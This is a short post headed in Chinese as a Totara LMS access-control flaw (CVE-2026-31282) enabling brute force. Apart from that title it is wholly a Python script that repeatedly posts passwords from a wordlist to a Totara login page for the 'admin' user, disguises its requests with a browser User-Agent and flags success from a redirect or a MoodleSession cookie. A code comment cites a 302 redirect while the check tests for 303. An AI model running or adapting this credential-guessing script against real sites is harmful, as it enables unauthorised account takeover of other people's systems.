CVE-2026-31282 Totara LMS访问控制缺陷导致暴力破解

import requests # Target URL of the vulnerable Totara LMS instance target_url = "http://target-totara-lms/login/index.php" username = "admin" wordlist = ["password123", "admin123", "123456", "totora"] # Headers to mimic a legitimate browser request headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36", "Content-Type": "application/x-www-form-urlencoded" } print(f"[*] Starting brute force attack on {target_url} for user: {username}") for password in wordlist: # Payload data to manipulate the login form submission payload = { "username": username, "password": password } try: # Send POST request to the login endpoint response = requests.post(target_url, data=payload, headers=headers, allow_redirects=False) # Check for successful login indicators (e.g., 302 Redirect to dashboard or specific cookies) if response.status_code == 303 or "MoodleSession" in response.cookies: print(f"[+] SUCCESS! Password found: {password}") break else: print(f"[-] Failed attempt: {password}") except requests.RequestException as e: print(f"[!] Error occurred: {e}") print("[*] Attack completed.")